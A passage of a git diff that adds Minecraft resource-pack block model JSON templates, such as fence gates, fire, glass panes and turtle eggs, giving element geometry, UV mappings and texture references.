14, 16 ], "texture": "#bottom" }, + "east": { "uv": [ 2, 2, 14, 16 ], "texture": "#bottom" } + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/template_command_block.json b/src/assets/minecraft/models/block/template_command_block.json new file mode 100644 index 00000000..76cbff1e --- /dev/null +++ b/src/assets/minecraft/models/block/template_command_block.json @@ -0,0 +1,12 @@ +{ + "parent": "block/cube_directional", + "textures": { + "particle": "#back", + "down": "#side", + "up": "#side", + "north": "#front", + "east": "#side", + "south": "#back", + "west": "#side" + } +} diff --git a/src/assets/minecraft/models/block/template_daylight_detector.json b/src/assets/minecraft/models/block/template_daylight_detector.json new file mode 100644 index 00000000..ef2a0021 --- /dev/null +++ b/src/assets/minecraft/models/block/template_daylight_detector.json @@ -0,0 +1,19 @@ +{ + "parent": "block/thin_block", + "textures": { + "particle": "#top" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 6, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#side", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 10, 16, 16 ], "texture": "#side", "cullface": "north" }, + "south": { "uv": [ 0, 10, 16, 16 ], "texture": "#side", "cullface": "south" }, + "west": { "uv": [ 0, 10, 16, 16 ], "texture": "#side", "cullface": "west" }, + "east": { "uv": [ 0, 10, 16, 16 ], "texture": "#side", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_farmland.json b/src/assets/minecraft/models/block/template_farmland.json new file mode 100644 index 00000000..4000d7a2 --- /dev/null +++ b/src/assets/minecraft/models/block/template_farmland.json @@ -0,0 +1,19 @@ +{ + "parent": "block/block", + "textures": { + "particle": "#dirt" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 15, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#dirt", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 1, 16, 16 ], "texture": "#dirt", "cullface": "north" }, + "south": { "uv": [ 0, 1, 16, 16 ], "texture": "#dirt", "cullface": "south" }, + "west": { "uv": [ 0, 1, 16, 16 ], "texture": "#dirt", "cullface": "west" }, + "east": { "uv": [ 0, 1, 16, 16 ], "texture": "#dirt", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_fence_gate.json b/src/assets/minecraft/models/block/template_fence_gate.json new file mode 100644 index 00000000..b1a090fa --- /dev/null +++ b/src/assets/minecraft/models/block/template_fence_gate.json @@ -0,0 +1,107 @@ +{ "parent": "block/block", + "display": { + "gui": { + "rotation": [ 30, 45, 0 ], + "translation": [ 0, -1, 0], + "scale":[ 0.8, 0.8, 0.8 ] + }, + "head": { + "rotation": [ 0, 0, 0 ], + "translation": [ 0, -3, -6], + "scale":[ 1, 1, 1] + } + }, + "textures": { + "particle": "#texture" + }, + "elements": [ + { "__comment": "Left-hand post", + "from": [ 0, 5, 7 ], + "to": [ 2, 16, 9 ], + "faces": { + "down": { "uv": [ 0, 7, 2, 9 ], "texture": "#texture" }, + "up": { "uv": [ 0, 7, 2, 9 ], "texture": "#texture" }, + "north": { "uv": [ 0, 0, 2, 11 ], "texture": "#texture" }, + "south": { "uv": [ 0, 0, 2, 11 ], "texture": "#texture" }, + "west": { "uv": [ 7, 0, 9, 11 ], "texture": "#texture", "cullface": "west" }, + "east": { "uv": [ 7, 0, 9, 11 ], "texture": "#texture" } + } + }, + { "__comment": "Right-hand post", + "from": [ 14, 5, 7 ], + "to": [ 16, 16, 9 ], + "faces": { + "down": { "uv": [ 14, 7, 16, 9 ], "texture": "#texture" }, + "up": { "uv": [ 14, 7, 16, 9 ], "texture": "#texture" }, + "north": { "uv": [ 14, 0, 16, 11 ], "texture": "#texture" }, + "south": { "uv": [ 14, 0, 16, 11 ], "texture": "#texture" }, + "west": { "uv": [ 7, 0, 9, 11 ], "texture": "#texture" }, + "east": { "uv": [ 7, 0, 9, 11 ], "texture": "#texture", "cullface": "east" } + } + }, + { "__comment": "Inner vertical post of left-hand gate door", + "from": [ 6, 6, 7 ], + "to": [ 8, 15, 9 ], + "faces": { + "down": { "uv": [ 6, 7, 8, 9 ], "texture": "#texture" }, + "up": { "uv": [ 6, 7, 8, 9 ], "texture": "#texture" }, + "north": { "uv": [ 6, 1, 8, 10 ], "texture": "#texture" }, + "south": { "uv": [ 6, 1, 8, 10 ], "texture": "#texture" }, + "west": { "uv": [ 7, 1, 9, 10 ], "texture": "#texture" }, + "east": { "uv": [ 7, 1, 9, 10 ], "texture": "#texture" } + } + }, + { "__comment": "Inner vertical post of right-hand gate door", + "from": [ 8, 6, 7 ], + "to": [ 10, 15, 9 ], + "faces": { + "down": { "uv": [ 8, 7, 10, 9 ], "texture": "#texture" }, + "up": { "uv": [ 8, 7, 10, 9 ], "texture": "#texture" }, + "north": { "uv": [ 8, 1, 10, 10 ], "texture": "#texture" }, + "south": { "uv": [ 8, 1, 10, 10 ], "texture": "#texture" }, + "west": { "uv": [ 7, 1, 9, 10 ], "texture": "#texture" }, + "east": { "uv": [ 7, 1, 9, 10 ], "texture": "#texture" } + } + }, + { "__comment": "Lower horizontal bar of left-hand gate door", + "from": [ 2, 6, 7 ], + "to": [ 6, 9, 9 ], + "faces": { + "down": { "uv": [ 2, 7, 6, 9 ], "texture": "#texture" }, + "up": { "uv": [ 2, 7, 6, 9 ], "texture": "#texture" }, + "north": { "uv": [ 2, 7, 6, 10 ], "texture": "#texture" }, + "south": { "uv": [ 2, 7, 6, 10 ], "texture": "#texture" } + } + }, + { "__comment": "Upper horizontal bar of left-hand gate door", + "from": [ 2, 12, 7 ], + "to": [ 6, 15, 9 ], + "faces": { + "down": { "uv": [ 2, 7, 6, 9 ], "texture": "#texture" }, + "up": { "uv": [ 2, 7, 6, 9 ], "texture": "#texture" }, + "north": { "uv": [ 2, 1, 6, 4 ], "texture": "#texture" }, + "south": { "uv": [ 2, 1, 6, 4 ], "texture": "#texture" } + } + }, + { "__comment": "Lower horizontal bar of right-hand gate door", + "from": [ 10, 6, 7 ], + "to": [ 14, 9, 9 ], + "faces": { + "down": { "uv": [ 10, 7, 14, 9 ], "texture": "#texture" }, + "up": { "uv": [ 10, 7, 14, 9 ], "texture": "#texture" }, + "north": { "uv": [ 10, 7, 14, 10 ], "texture": "#texture" }, + "south": { "uv": [ 10, 7, 14, 10 ], "texture": "#texture" } + } + }, + { "__comment": "Upper horizontal bar of right-hand gate door", + "from": [ 10, 12, 7 ], + "to": [ 14, 15, 9 ], + "faces": { + "down": { "uv": [ 10, 7, 14, 9 ], "texture": "#texture" }, + "up": { "uv": [ 10, 7, 14, 9 ], "texture": "#texture" }, + "north": { "uv": [ 10, 1, 14, 4 ], "texture": "#texture" }, + "south": { "uv": [ 10, 1, 14, 4 ], "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_fence_gate_open.json b/src/assets/minecraft/models/block/template_fence_gate_open.json new file mode 100644 index 00000000..af2062a1 --- /dev/null +++ b/src/assets/minecraft/models/block/template_fence_gate_open.json @@ -0,0 +1,95 @@ +{ + "textures": { + "particle": "#texture" + }, + "elements": [ + { "__comment": "Left-hand post", + "from": [ 0, 5, 7 ], + "to": [ 2, 16, 9 ], + "faces": { + "down": { "uv": [ 0, 7, 2, 9 ], "texture": "#texture" }, + "up": { "uv": [ 0, 7, 2, 9 ], "texture": "#texture" }, + "north": { "uv": [ 0, 0, 2, 11 ], "texture": "#texture" }, + "south": { "uv": [ 0, 0, 2, 11 ], "texture": "#texture" }, + "west": { "uv": [ 7, 0, 9, 11 ], "texture": "#texture", "cullface": "west" }, + "east": { "uv": [ 7, 0, 9, 11 ], "texture": "#texture" } + } + }, + { "__comment": "Right-hand post", + "from": [ 14, 5, 7 ], + "to": [ 16, 16, 9 ], + "faces": { + "down": { "uv": [ 14, 7, 16, 9 ], "texture": "#texture" }, + "up": { "uv": [ 14, 7, 16, 9 ], "texture": "#texture" }, + "north": { "uv": [ 14, 0, 16, 11 ], "texture": "#texture" }, + "south": { "uv": [ 14, 0, 16, 11 ], "texture": "#texture" }, + "west": { "uv": [ 7, 0, 9, 11 ], "texture": "#texture" }, + "east": { "uv": [ 7, 0, 9, 11 ], "texture": "#texture", "cullface": "east" } + } + }, + { "__comment": "Inner vertical post of left-hand gate door", + "from": [ 0, 6, 13 ], + "to": [ 2, 15, 15 ], + "faces": { + "down": { "uv": [ 0, 13, 2, 15 ], "texture": "#texture" }, + "up": { "uv": [ 0, 13, 2, 15 ], "texture": "#texture" }, + "north": { "uv": [ 0, 1, 2, 10 ], "texture": "#texture" }, + "south": { "uv": [ 0, 1, 2, 10 ], "texture": "#texture" }, + "west": { "uv": [ 13, 1, 15, 10 ], "texture": "#texture" }, + "east": { "uv": [ 13, 1, 15, 10 ], "texture": "#texture" } + } + }, + { "__comment": "Inner vertical post of right-hand gate door", + "from": [ 14, 6, 13 ], + "to": [ 16, 15, 15 ], + "faces": { + "down": { "uv": [ 14, 13, 16, 15 ], "texture": "#texture" }, + "up": { "uv": [ 14, 13, 16, 15 ], "texture": "#texture" }, + "north": { "uv": [ 14, 1, 16, 10 ], "texture": "#texture" }, + "south": { "uv": [ 14, 1, 16, 10 ], "texture": "#texture" }, + "west": { "uv": [ 13, 1, 15, 10 ], "texture": "#texture" }, + "east": { "uv": [ 13, 1, 15, 10 ], "texture": "#texture" } + } + }, + { "__comment": "Lower horizontal bar of left-hand gate door", + "from": [ 0, 6, 9 ], + "to": [ 2, 9, 13 ], + "faces": { + "down": { "uv": [ 0, 9, 2, 13 ], "texture": "#texture" }, + "up": { "uv": [ 0, 9, 2, 13 ], "texture": "#texture" }, + "west": { "uv": [ 13, 7, 15, 10 ], "texture": "#texture" }, + "east": { "uv": [ 13, 7, 15, 10 ], "texture": "#texture" } + } + }, + { "__comment": "Upper horizontal bar of left-hand gate door", + "from": [ 0, 12, 9 ], + "to": [ 2, 15, 13 ], + "faces": { + "down": { "uv": [ 0, 9, 2, 13 ], "texture": "#texture" }, + "up": { "uv": [ 0, 9, 2, 13 ], "texture": "#texture" }, + "west": { "uv": [ 13, 1, 15, 4 ], "texture": "#texture" }, + "east": { "uv": [ 13, 1, 15, 4 ], "texture": "#texture" } + } + }, + { "__comment": "Lower horizontal bar of left-hand gate door", + "from": [ 14, 6, 9 ], + "to": [ 16, 9, 13 ], + "faces": { + "down": { "uv": [ 14, 9, 16, 13 ], "texture": "#texture" }, + "up": { "uv": [ 14, 9, 16, 13 ], "texture": "#texture" }, + "west": { "uv": [ 13, 7, 15, 10 ], "texture": "#texture" }, + "east": { "uv": [ 13, 7, 15, 10 ], "texture": "#texture" } + } + }, + { "__comment": "Upper horizontal bar of left-hand gate door", + "from": [ 14, 12, 9 ], + "to": [ 16, 15, 13 ], + "faces": { + "down": { "uv": [ 14, 9, 16, 13 ], "texture": "#texture" }, + "up": { "uv": [ 14, 9, 16, 13 ], "texture": "#texture" }, + "west": { "uv": [ 13, 1, 15, 4 ], "texture": "#texture" }, + "east": { "uv": [ 13, 1, 15, 4 ], "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_fence_gate_wall.json b/src/assets/minecraft/models/block/template_fence_gate_wall.json new file mode 100644 index 00000000..7b1be07c --- /dev/null +++ b/src/assets/minecraft/models/block/template_fence_gate_wall.json @@ -0,0 +1,96 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#texture" + }, + "elements": [ + { "__comment": "Left-hand post", + "from": [ 0, 2, 7 ], + "to": [ 2, 13, 9 ], + "faces": { + "down": { "uv": [ 0, 7, 2, 9 ], "texture": "#texture" }, + "up": { "uv": [ 0, 7, 2, 9 ], "texture": "#texture" }, + "north": { "uv": [ 0, 0, 2, 11 ], "texture": "#texture" }, + "south": { "uv": [ 0, 0, 2, 11 ], "texture": "#texture" }, + "west": { "uv": [ 7, 0, 9, 11 ], "texture": "#texture", "cullface": "west" }, + "east": { "uv": [ 7, 0, 9, 11 ], "texture": "#texture" } + } + }, + { "__comment": "Right-hand post", + "from": [ 14, 2, 7 ], + "to": [ 16, 13, 9 ], + "faces": { + "down": { "uv": [ 14, 7, 16, 9 ], "texture": "#texture" }, + "up": { "uv": [ 14, 7, 16, 9 ], "texture": "#texture" }, + "north": { "uv": [ 14, 0, 16, 11 ], "texture": "#texture" }, + "south": { "uv": [ 14, 0, 16, 11 ], "texture": "#texture" }, + "west": { "uv": [ 7, 0, 9, 11 ], "texture": "#texture" }, + "east": { "uv": [ 7, 0, 9, 11 ], "texture": "#texture", "cullface": "east" } + } + }, + { "__comment": "Inner vertical post of left-hand gate door", + "from": [ 6, 3, 7 ], + "to": [ 8, 12, 9 ], + "faces": { + "down": { "uv": [ 6, 7, 8, 9 ], "texture": "#texture" }, + "up": { "uv": [ 6, 7, 8, 9 ], "texture": "#texture" }, + "north": { "uv": [ 6, 1, 8, 10 ], "texture": "#texture" }, + "south": { "uv": [ 6, 1, 8, 10 ], "texture": "#texture" }, + "west": { "uv": [ 7, 1, 9, 10 ], "texture": "#texture" }, + "east": { "uv": [ 7, 1, 9, 10 ], "texture": "#texture" } + } + }, + { "__comment": "Inner vertical post of right-hand gate door", + "from": [ 8, 3, 7 ], + "to": [ 10, 12, 9 ], + "faces": { + "down": { "uv": [ 8, 7, 10, 9 ], "texture": "#texture" }, + "up": { "uv": [ 8, 7, 10, 9 ], "texture": "#texture" }, + "north": { "uv": [ 8, 1, 10, 10 ], "texture": "#texture" }, + "south": { "uv": [ 8, 1, 10, 10 ], "texture": "#texture" }, + "west": { "uv": [ 7, 1, 9, 10 ], "texture": "#texture" }, + "east": { "uv": [ 7, 1, 9, 10 ], "texture": "#texture" } + } + }, + { "__comment": "Lower horizontal bar of left-hand gate door", + "from": [ 2, 3, 7 ], + "to": [ 6, 6, 9 ], + "faces": { + "down": { "uv": [ 2, 7, 6, 9 ], "texture": "#texture" }, + "up": { "uv": [ 2, 7, 6, 9 ], "texture": "#texture" }, + "north": { "uv": [ 2, 7, 6, 10 ], "texture": "#texture" }, + "south": { "uv": [ 2, 7, 6, 10 ], "texture": "#texture" } + } + }, + { "__comment": "Upper horizontal bar of left-hand gate door", + "from": [ 2, 9, 7 ], + "to": [ 6, 12, 9 ], + "faces": { + "down": { "uv": [ 2, 7, 6, 9 ], "texture": "#texture" }, + "up": { "uv": [ 2, 7, 6, 9 ], "texture": "#texture" }, + "north": { "uv": [ 2, 1, 6, 4 ], "texture": "#texture" }, + "south": { "uv": [ 2, 1, 6, 4 ], "texture": "#texture" } + } + }, + { "__comment": "Lower horizontal bar of right-hand gate door", + "from": [ 10, 3, 7 ], + "to": [ 14, 6, 9 ], + "faces": { + "down": { "uv": [ 10, 7, 14, 9 ], "texture": "#texture" }, + "up": { "uv": [ 10, 7, 14, 9 ], "texture": "#texture" }, + "north": { "uv": [ 10, 7, 14, 10 ], "texture": "#texture" }, + "south": { "uv": [ 10, 7, 14, 10 ], "texture": "#texture" } + } + }, + { "__comment": "Upper horizontal bar of right-hand gate door", + "from": [ 10, 9, 7 ], + "to": [ 14, 12, 9 ], + "faces": { + "down": { "uv": [ 10, 7, 14, 9 ], "texture": "#texture" }, + "up": { "uv": [ 10, 7, 14, 9 ], "texture": "#texture" }, + "north": { "uv": [ 10, 1, 14, 4 ], "texture": "#texture" }, + "south": { "uv": [ 10, 1, 14, 4 ], "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_fence_gate_wall_open.json b/src/assets/minecraft/models/block/template_fence_gate_wall_open.json new file mode 100644 index 00000000..6aac6c8f --- /dev/null +++ b/src/assets/minecraft/models/block/template_fence_gate_wall_open.json @@ -0,0 +1,96 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#texture" + }, + "elements": [ + { "__comment": "Left-hand post", + "from": [ 0, 2, 7 ], + "to": [ 2, 13, 9 ], + "faces": { + "down": { "uv": [ 0, 7, 2, 9 ], "texture": "#texture" }, + "up": { "uv": [ 0, 7, 2, 9 ], "texture": "#texture" }, + "north": { "uv": [ 0, 0, 2, 11 ], "texture": "#texture" }, + "south": { "uv": [ 0, 0, 2, 11 ], "texture": "#texture" }, + "west": { "uv": [ 7, 0, 9, 11 ], "texture": "#texture", "cullface": "west" }, + "east": { "uv": [ 7, 0, 9, 11 ], "texture": "#texture" } + } + }, + { "__comment": "Right-hand post", + "from": [ 14, 2, 7 ], + "to": [ 16, 13, 9 ], + "faces": { + "down": { "uv": [ 14, 7, 16, 9 ], "texture": "#texture" }, + "up": { "uv": [ 14, 7, 16, 9 ], "texture": "#texture" }, + "north": { "uv": [ 14, 0, 16, 11 ], "texture": "#texture" }, + "south": { "uv": [ 14, 0, 16, 11 ], "texture": "#texture" }, + "west": { "uv": [ 7, 0, 9, 11 ], "texture": "#texture" }, + "east": { "uv": [ 7, 0, 9, 11 ], "texture": "#texture", "cullface": "east" } + } + }, + { "__comment": "Inner vertical post of left-hand gate door", + "from": [ 0, 3, 13 ], + "to": [ 2, 12, 15 ], + "faces": { + "down": { "uv": [ 0, 13, 2, 15 ], "texture": "#texture" }, + "up": { "uv": [ 0, 13, 2, 15 ], "texture": "#texture" }, + "north": { "uv": [ 0, 1, 2, 10 ], "texture": "#texture" }, + "south": { "uv": [ 0, 1, 2, 10 ], "texture": "#texture" }, + "west": { "uv": [ 13, 1, 15, 10 ], "texture": "#texture" }, + "east": { "uv": [ 13, 1, 15, 10 ], "texture": "#texture" } + } + }, + { "__comment": "Inner vertical post of right-hand gate door", + "from": [ 14, 3, 13 ], + "to": [ 16, 12, 15 ], + "faces": { + "down": { "uv": [ 14, 13, 16, 15 ], "texture": "#texture" }, + "up": { "uv": [ 14, 13, 16, 15 ], "texture": "#texture" }, + "north": { "uv": [ 14, 1, 16, 10 ], "texture": "#texture" }, + "south": { "uv": [ 14, 1, 16, 10 ], "texture": "#texture" }, + "west": { "uv": [ 13, 1, 15, 10 ], "texture": "#texture" }, + "east": { "uv": [ 13, 1, 15, 10 ], "texture": "#texture" } + } + }, + { "__comment": "Lower horizontal bar of left-hand gate door", + "from": [ 0, 3, 9 ], + "to": [ 2, 6, 13 ], + "faces": { + "down": { "uv": [ 0, 9, 2, 13 ], "texture": "#texture" }, + "up": { "uv": [ 0, 9, 2, 13 ], "texture": "#texture" }, + "west": { "uv": [ 13, 7, 15, 10 ], "texture": "#texture" }, + "east": { "uv": [ 13, 7, 15, 10 ], "texture": "#texture" } + } + }, + { "__comment": "Upper horizontal bar of left-hand gate door", + "from": [ 0, 9, 9 ], + "to": [ 2, 12, 13 ], + "faces": { + "down": { "uv": [ 0, 9, 2, 13 ], "texture": "#texture" }, + "up": { "uv": [ 0, 9, 2, 13 ], "texture": "#texture" }, + "west": { "uv": [ 13, 1, 15, 4 ], "texture": "#texture" }, + "east": { "uv": [ 13, 1, 15, 4 ], "texture": "#texture" } + } + }, + { "__comment": "Lower horizontal bar of left-hand gate door", + "from": [ 14, 3, 9 ], + "to": [ 16, 6, 13 ], + "faces": { + "down": { "uv": [ 14, 9, 16, 13 ], "texture": "#texture" }, + "up": { "uv": [ 14, 9, 16, 13 ], "texture": "#texture" }, + "west": { "uv": [ 13, 7, 15, 10 ], "texture": "#texture" }, + "east": { "uv": [ 13, 7, 15, 10 ], "texture": "#texture" } + } + }, + { "__comment": "Upper horizontal bar of left-hand gate door", + "from": [ 14, 9, 9 ], + "to": [ 16, 12, 13 ], + "faces": { + "down": { "uv": [ 14, 9, 16, 13 ], "texture": "#texture" }, + "up": { "uv": [ 14, 9, 16, 13 ], "texture": "#texture" }, + "west": { "uv": [ 13, 1, 15, 4 ], "texture": "#texture" }, + "east": { "uv": [ 13, 1, 15, 4 ], "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_fire_floor.json b/src/assets/minecraft/models/block/template_fire_floor.json new file mode 100644 index 00000000..a5e46b55 --- /dev/null +++ b/src/assets/minecraft/models/block/template_fire_floor.json @@ -0,0 +1,32 @@ +{ + "textures": { + "particle": "#fire" + }, + "ambientocclusion": false, + "elements": [ + { "from": [ 0, 0, 8.8 ], + "to": [ 16, 22.4, 8.8 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "x", "angle": -22.5, "rescale": true }, + "shade": false, + "faces": { "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#fire" }} + }, + { "from": [ 0, 0, 7.2 ], + "to": [ 16, 22.4, 7.2 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "x", "angle": 22.5, "rescale": true }, + "shade": false, + "faces": { "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#fire" }} + }, + { "from": [ 8.8, 0, 0 ], + "to": [ 8.8, 22.4, 16 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "z", "angle": -22.5, "rescale": true }, + "shade": false, + "faces": { "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#fire" }} + }, + { "from": [ 7.2, 0, 0 ], + "to": [ 7.2, 22.4, 16 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "z", "angle": 22.5, "rescale": true }, + "shade": false, + "faces": { "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#fire" }} + } + ] +} diff --git a/src/assets/minecraft/models/block/template_fire_side.json b/src/assets/minecraft/models/block/template_fire_side.json new file mode 100644 index 00000000..da323e33 --- /dev/null +++ b/src/assets/minecraft/models/block/template_fire_side.json @@ -0,0 +1,16 @@ +{ + "textures": { + "particle": "#fire" + }, + "ambientocclusion": false, + "elements": [ + { "from": [ 0, 0, 0.01 ], + "to": [ 16, 22.4, 0.01 ], + "shade": false, + "faces": { + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#fire" }, + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#fire" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_fire_side_alt.json b/src/assets/minecraft/models/block/template_fire_side_alt.json new file mode 100644 index 00000000..83d76ea3 --- /dev/null +++ b/src/assets/minecraft/models/block/template_fire_side_alt.json @@ -0,0 +1,16 @@ +{ + "textures": { + "particle": "#fire" + }, + "ambientocclusion": false, + "elements": [ + { "from": [ 0, 0, 0.01 ], + "to": [ 16, 22.4, 0.01 ], + "shade": false, + "faces": { + "south": { "uv": [ 16, 0, 0, 16 ], "texture": "#fire" }, + "north": { "uv": [ 16, 0, 0, 16 ], "texture": "#fire" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_fire_up.json b/src/assets/minecraft/models/block/template_fire_up.json new file mode 100644 index 00000000..1cebdf22 --- /dev/null +++ b/src/assets/minecraft/models/block/template_fire_up.json @@ -0,0 +1,20 @@ +{ + "textures": { + "particle": "#fire" + }, + "ambientocclusion": false, + "elements": [ + { "from": [ 0, 16, 0 ], + "to": [ 16, 16, 16 ], + "rotation": { "origin": [ 16, 16, 8 ], "axis": "z", "angle": 22.5, "rescale": true }, + "shade": false, + "faces": { "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#fire", "rotation": 270 }} + }, + { "from": [ 0, 16, 0 ], + "to": [ 16, 16, 16 ], + "rotation": { "origin": [ 0, 16, 8 ], "axis": "z", "angle": -22.5, "rescale": true }, + "shade": false, + "faces": { "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#fire", "rotation": 90 }} + } + ] +} diff --git a/src/assets/minecraft/models/block/template_fire_up_alt.json b/src/assets/minecraft/models/block/template_fire_up_alt.json new file mode 100644 index 00000000..31be9be2 --- /dev/null +++ b/src/assets/minecraft/models/block/template_fire_up_alt.json @@ -0,0 +1,20 @@ +{ + "textures": { + "particle": "#fire" + }, + "ambientocclusion": false, + "elements": [ + { "from": [ 0, 16, 0 ], + "to": [ 16, 16, 16 ], + "rotation": { "origin": [ 8, 16, 16 ], "axis": "x", "angle": -22.5, "rescale": true }, + "shade": false, + "faces": { "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#fire", "rotation": 180 }} + }, + { "from": [ 0, 16, 0 ], + "to": [ 16, 16, 16 ], + "rotation": { "origin": [ 8, 16, 0 ], "axis": "x", "angle": 22.5, "rescale": true }, + "shade": false, + "faces": { "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#fire" }} + } + ] +} diff --git a/src/assets/minecraft/models/block/template_four_turtle_eggs.json b/src/assets/minecraft/models/block/template_four_turtle_eggs.json new file mode 100644 index 00000000..93a7ca4b --- /dev/null +++ b/src/assets/minecraft/models/block/template_four_turtle_eggs.json @@ -0,0 +1,56 @@ +{ + "parent": "block/block", + "textures": { + "all": "block/turtle_egg", + "particle": "#all" + }, + "elements": [ + { "from": [ 5, 0, 4 ], + "to": [ 9, 7, 8 ], + "faces": { + "down": { "uv": [ 0, 0, 4, 4 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 0, 0, 4, 4 ], "texture": "#all" }, + "north": { "uv": [ 1, 4, 5, 11 ], "texture": "#all" }, + "south": { "uv": [ 1, 4, 5, 11 ], "texture": "#all" }, + "west": { "uv": [ 1, 4, 5, 11 ], "texture": "#all" }, + "east": { "uv": [ 1, 4, 5, 11 ], "texture": "#all" } + } + }, + { + "from": [ 1, 0, 7 ], + "to": [ 5, 5, 11 ], + "faces": { + "down": { "uv": [ 6, 7, 10, 11 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 6, 7, 10, 11 ], "texture": "#all" }, + "north": { "uv": [ 10, 10, 14, 15 ], "texture": "#all" }, + "south": { "uv": [ 10, 10, 14, 15 ], "texture": "#all" }, + "west": { "uv": [ 10, 10, 14, 15 ], "texture": "#all" }, + "east": { "uv": [ 10, 10, 14, 15 ], "texture": "#all" } + } + }, + { + "from": [ 11, 0, 7 ], + "to": [ 14, 4, 10 ], + "faces": { + "down": { "uv": [ 5, 0, 8, 3 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 5, 0, 8, 3 ], "texture": "#all" }, + "north": { "uv": [ 8, 3, 11, 7 ], "texture": "#all" }, + "south": { "uv": [ 8, 3, 11, 7 ], "texture": "#all" }, + "west": { "uv": [ 8, 3, 11, 7 ], "texture": "#all" }, + "east": { "uv": [ 8, 3, 11, 7 ], "texture": "#all" } + } + }, + { + "from": [ 6, 0, 9 ], + "to": [ 10, 4, 13 ], + "faces": { + "down": { "uv": [ 0, 11, 4, 15 ], "texture": "#all" }, + "up": { "uv": [ 0, 11, 4, 15 ], "texture": "#all" }, + "north": { "uv": [ 4, 11, 8, 15 ], "texture": "#all" }, + "south": { "uv": [ 4, 11, 8, 15 ], "texture": "#all" }, + "west": { "uv": [ 4, 11, 8, 15 ], "texture": "#all" }, + "east": { "uv": [ 4, 11, 8, 15 ], "texture": "#all" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_glass_pane_noside.json b/src/assets/minecraft/models/block/template_glass_pane_noside.json new file mode 100644 index 00000000..af16ff94 --- /dev/null +++ b/src/assets/minecraft/models/block/template_glass_pane_noside.json @@ -0,0 +1,14 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#pane" + }, + "elements": [ + { "from": [ 7, 0, 7 ], + "to": [ 9, 16, 9 ], + "faces": { + "north": { "uv": [ 9, 0, 7, 16 ], "texture": "#pane" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_glass_pane_noside_alt.json b/src/assets/minecraft/models/block/template_glass_pane_noside_alt.json new file mode 100644 index 00000000..771d6942 --- /dev/null +++ b/src/assets/minecraft/models/block/template_glass_pane_noside_alt.json @@ -0,0 +1,14 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#pane" + }, + "elements": [ + { "from": [ 7, 0, 7 ], + "to": [ 9, 16, 9 ], + "faces": { + "east": { "uv": [ 7, 0, 9, 16 ], "texture": "#pane" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_glass_pane_post.json b/src/assets/minecraft/models/block/template_glass_pane_post.json new file mode 100644 index 00000000..54d7fa88 --- /dev/null +++ b/src/assets/minecraft/models/block/template_glass_pane_post.json @@ -0,0 +1,15 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#pane" + }, + "elements": [ + { "from": [ 7, 0, 7 ], + "to": [ 9, 16, 9 ], + "faces": { + "down": { "uv": [ 7, 7, 9, 9 ], "texture": "#edge" }, + "up": { "uv": [ 7, 7, 9, 9 ], "texture": "#edge" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_glass_pane_side.json b/src/assets/minecraft/models/block/template_glass_pane_side.json new file mode 100644 index 00000000..fae06dcc --- /dev/null +++ b/src/assets/minecraft/models/block/template_glass_pane_side.json @@ -0,0 +1,18 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#pane" + }, + "elements": [ + { "from": [ 7, 0, 0 ], + "to": [ 9, 16, 7 ], + "faces": { + "down": { "uv": [ 7, 0, 9, 7 ], "texture": "#edge" }, + "up": { "uv": [ 7, 0, 9, 7 ], "texture": "#edge" }, + "north": { "uv": [ 7, 0, 9, 16 ], "texture": "#edge", "cullface": "north" }, + "west": { "uv": [ 16, 0, 9, 16 ], "texture": "#pane" }, + "east": { "uv": [ 9, 0, 16, 16 ], "texture": "#pane" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_glass_pane_side_alt.json b/src/assets/minecraft/models/block/template_glass_pane_side_alt.json new file mode 100644 index 00000000..82d0e98e --- /dev/null +++ b/src/assets/minecraft/models/block/template_glass_pane_side_alt.json @@ -0,0 +1,18 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#pane" + }, + "elements": [ + { "from": [ 7, 0, 9 ], + "to": [ 9, 16, 16 ], + "faces": { + "down": { "uv": [ 7, 0, 9, 7 ], "texture": "#edge" }, + "up": { "uv": [ 7, 0, 9, 7 ], 